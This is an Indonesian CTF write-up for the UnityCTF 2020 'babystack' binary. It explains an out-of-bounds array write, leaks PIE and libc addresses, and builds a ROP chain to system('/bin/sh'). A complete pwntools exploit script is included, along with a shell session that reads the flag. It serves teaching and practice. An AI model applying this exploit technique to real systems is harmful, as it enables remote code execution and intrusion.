hint:
overwriting return address by overflowing the boundary

Diberikan file ELF dengan proteksi sebagai berikut:

@m00n ➜ babystack git:(master) ✗ checksec main
[*] '/home/bintang/CTF/unity2020/pwn/babystack/main'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ELF tersebut menggunakan libc 2.23 dan memiliki vulnerability Out of Bond (OOB), Berikut fungsi yang memiliki vulnerability tersebut:

__int64 __fastcall add_book(__int64 a1)
{
  signed int v2; // [rsp+1Ch] [rbp-4h]

  printf("Enter index : ");
  v2 = read_int("Enter index : ");
  if ( v2 > 7 )
    printf("not for OOB\b");
  printf("Enter the name of Books : ");
  return read_wrapper(30LL * v2 + a1, 29LL);
}

Program tersebut dapat mengoverwrite array dengan index kurang dari 0 atau lebih dari 7 sehingga kita bisa mengoverwrite sesuatu. Tapi overwrite kemana? fungsi main tidak akan pernah melakukan return, karena adanya fungsi exit(1) jika ingin keluar. Berikut adalah fungsi main:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed __int64 *v3; // rdi
  signed int v4; // eax
  signed __int64 v5; // [rsp-108h] [rbp-108h]
  signed __int64 v6; // [rsp-100h] [rbp-100h]
  signed __int64 v7; // [rsp-F8h] [rbp-F8h]
  signed int v8; // [rsp-F0h] [rbp-F0h]
  char v9; // [rsp-ECh] [rbp-ECh]
  signed __int64 v10; // [rsp-EAh] [rbp-EAh]
  signed __int64 v11; // [rsp-E2h] [rbp-E2h]
  signed __int64 v12; // [rsp-DAh] [rbp-DAh]
  signed int v13; // [rsp-D2h] [rbp-D2h]
  char v14; // [rsp-CEh] [rbp-CEh]
  unsigned __int64 v15; // [rsp-10h] [rbp-10h]

  v15 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  memset(&v5, 0, 0xF0uLL);
  v5 = 8297711242406229317LL;
  v6 = 8389754676365247776LL;
  v7 = 8026900115340861555LL;
  v8 = 1920230765;
  v9 = 121;
  v3 = (signed __int64 *)2337214414269147508LL;
  v10 = 7166744811854392905LL;
  v11 = 2337214414269147508LL;
  v12 = 4692876574359185740LL;
  v13 = 1650812780;
  v14 = 114;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu(v3);
        v4 = read_int(v3);
        if ( v4 != 2 )
          break;
        v3 = &v5;
        print_book(&v5);
      }
      if ( v4 > 2 )
        break;
      if ( v4 != 1 )
        goto LABEL_13;
      v3 = &v5;
      list_book(&v5);
    }
    if ( v4 == 3 )
    {
      v3 = &v5;
      add_book((__int64)&v5);
    }
    else
    {
      if ( v4 != 4 )
      {
LABEL_13:
        puts("Bye");
        exit(1); /* tidak akan pernah return */
      }
      v3 = &v5;
      remove_book(&v5);
    }
  }
}

Kita tidak akan bisa mengontrol saved RIP fungsi main. Namun kita bisa mengoverwrite saved RIP fungsi lain, bagaimana caranya? yaitu dengan menggunakan index kurang dari 0. Jika fungsi main memanggil fungsi yang lain, stack frame fungsi main akan berada dibawah fungsi yang dipanggil (walaupun sebenarnya alamat stack frame fungsi main lebih tinggi dari fungsi yang dipanggil). Karena itulah kita menggunakan index kurang dari 0 untuk mengoverwrite saved RIP. Agar mempermudah, berikut beberapa fungsi yang dibuat:

def print_(index):
	p.sendlineafter('> ', '2')
	p.sendlineafter('index : ', str(index))

def add(index, name):
	p.sendlineafter('> ', '3')
	p.sendlineafter('index : ', str(index))
	p.sendafter(': ', name)

leak

Cara yang saya gunakan adalah dengan memasukkan padding pada index ke 8 sebanyak 16 untuk leak PIE dan 24 untuk leak libc. Padding tersebut tidak boleh terdapat '\n', karena karakter '\n' akan diubah menjadi NULL.

__int64 __fastcall read_wrapper(void *a1, int a2)
{
  unsigned int v3; // [rsp-Ch] [rbp-Ch]

  v3 = read(0, a1, a2);
  if ( (v3 & 0x80000000) != 0 )
  {
    puts("Read Error");
    exit(1);
  }
  if ( *((_BYTE *)a1 + (signed int)v3 - 1) == '\n' )
    *((_BYTE *)a1 + (signed int)v3 - 1) = 0; /* akan diganti dengan NULL */
  return v3;
}

Jika kita menggunakan '\n', kita tidak akan bisa meleak karena printf() akan mencetak output sampai ditemukannya NULL. Berikut fungsi print_book:

int __fastcall print_book(__int64 a1)
{
  int result; // eax
  signed int v2; // [rsp-Ch] [rbp-Ch]

  printf("Enter index : ");
  v2 = read_int();
  printf("%d\n", (unsigned int)v2);
  if ( v2 > 7 )
    puts("not for OOB");
  if ( *(_BYTE *)(30LL * v2 + a1) )
    result = printf("%d. %s\n", (unsigned int)v2, a1 + 30LL * v2);
  else
    result = printf("%d. (empty)\n", (unsigned int)v2);
  return result;
}

berikut kode untuk leaknya:

add(8, "A"*8*2)
print_(8)
p.recvuntil('. ')
leak = u64(p.recvline(0)[16:].ljust(8, '\x00'))
pie = leak - 0xd90

add(8, "A"*8*3)
print_(8)
p.recvuntil('. ')
leak = u64(p.recvline(0)[24:].ljust(8, '\x00'))
libc.address = leak - 0x20830

shell

Agar bisa mendapatkan shell ada beberapa kemungkinan exploit yang digunakan, antara lain menggunakan one gadget atau jump ke system("/bin/sh"). Namun saya telah mencoba untuk menggunakan one gadget tetapi tidak bisa, jadi saya menggunakan alternatif lain yaitu jump ke system("/bin/sh"). Saya menggunakan ROP chain yang ditempatkan di index -3 dan akan mengoverwrite saved RIP dari fungsi read_wrapper.

payload = 'a'*2 # padding
payload += p64(pie + 0x0000000000000df3) # pop rdi; ret;
payload += p64(next(libc.search("/bin/sh")))
payload += p64(libc.sym['system'])
add(-3, payload)

berikut full exploitnya:

from pwn import *
import sys

BINARY = './main'

con = 'nc 35.192.113.20 3000'

if(con):
	con = con.split(' ')
	HOST = con[1]
	PORT = con[2]

elf = ELF(BINARY)
argv = sys.argv
context.terminal = 'gnome-terminal -e'.split(' ')
libc = ELF("./libc-2.23.so")

def print_(index):
	p.sendlineafter('> ', '2')
	p.sendlineafter('index : ', str(index))

def add(index, name):
	p.sendlineafter('> ', '3')
	p.sendlineafter('index : ', str(index))
	p.sendafter(': ', name)

def exploit():
	add(8, "A"*8*2)
	print_(8)
	p.recvuntil('. ')
	leak = u64(p.recvline(0)[16:].ljust(8, '\x00'))
	pie = leak - 0xd90

	add(8, "A"*8*3)
	print_(8)
	p.recvuntil('. ')
	leak = u64(p.recvline(0)[24:].ljust(8, '\x00'))
	libc.address = leak - 0x20830

	payload = 'a'*2
	payload += p64(pie + 0x0000000000000df3)
	payload += p64(next(libc.search("/bin/sh")))
	payload += p64(libc.sym['system'])
	add(-3, payload)

	p.interactive()

if __name__ == '__main__':
  
    p = process(BINARY)

    if len(argv) > 1:
    	if argv[1] != 'd':
        	p = remote(HOST, PORT)
        else:
        	cmd = '''
        	'''
        	gdb.attach(p, cmd)
    exploit()
@m00n ➜ babystack git:(master) ✗ python main.py x
[+] Starting local process './main': pid 9060
[+] Opening connection to 35.192.113.20 on port 3000: Done
[*] Switching to interactive mode
$ ls
flag.txt
main
$ cat f*
UNITYCTF2020{406b0e859139e5c897e2fdfb8f33634e}
$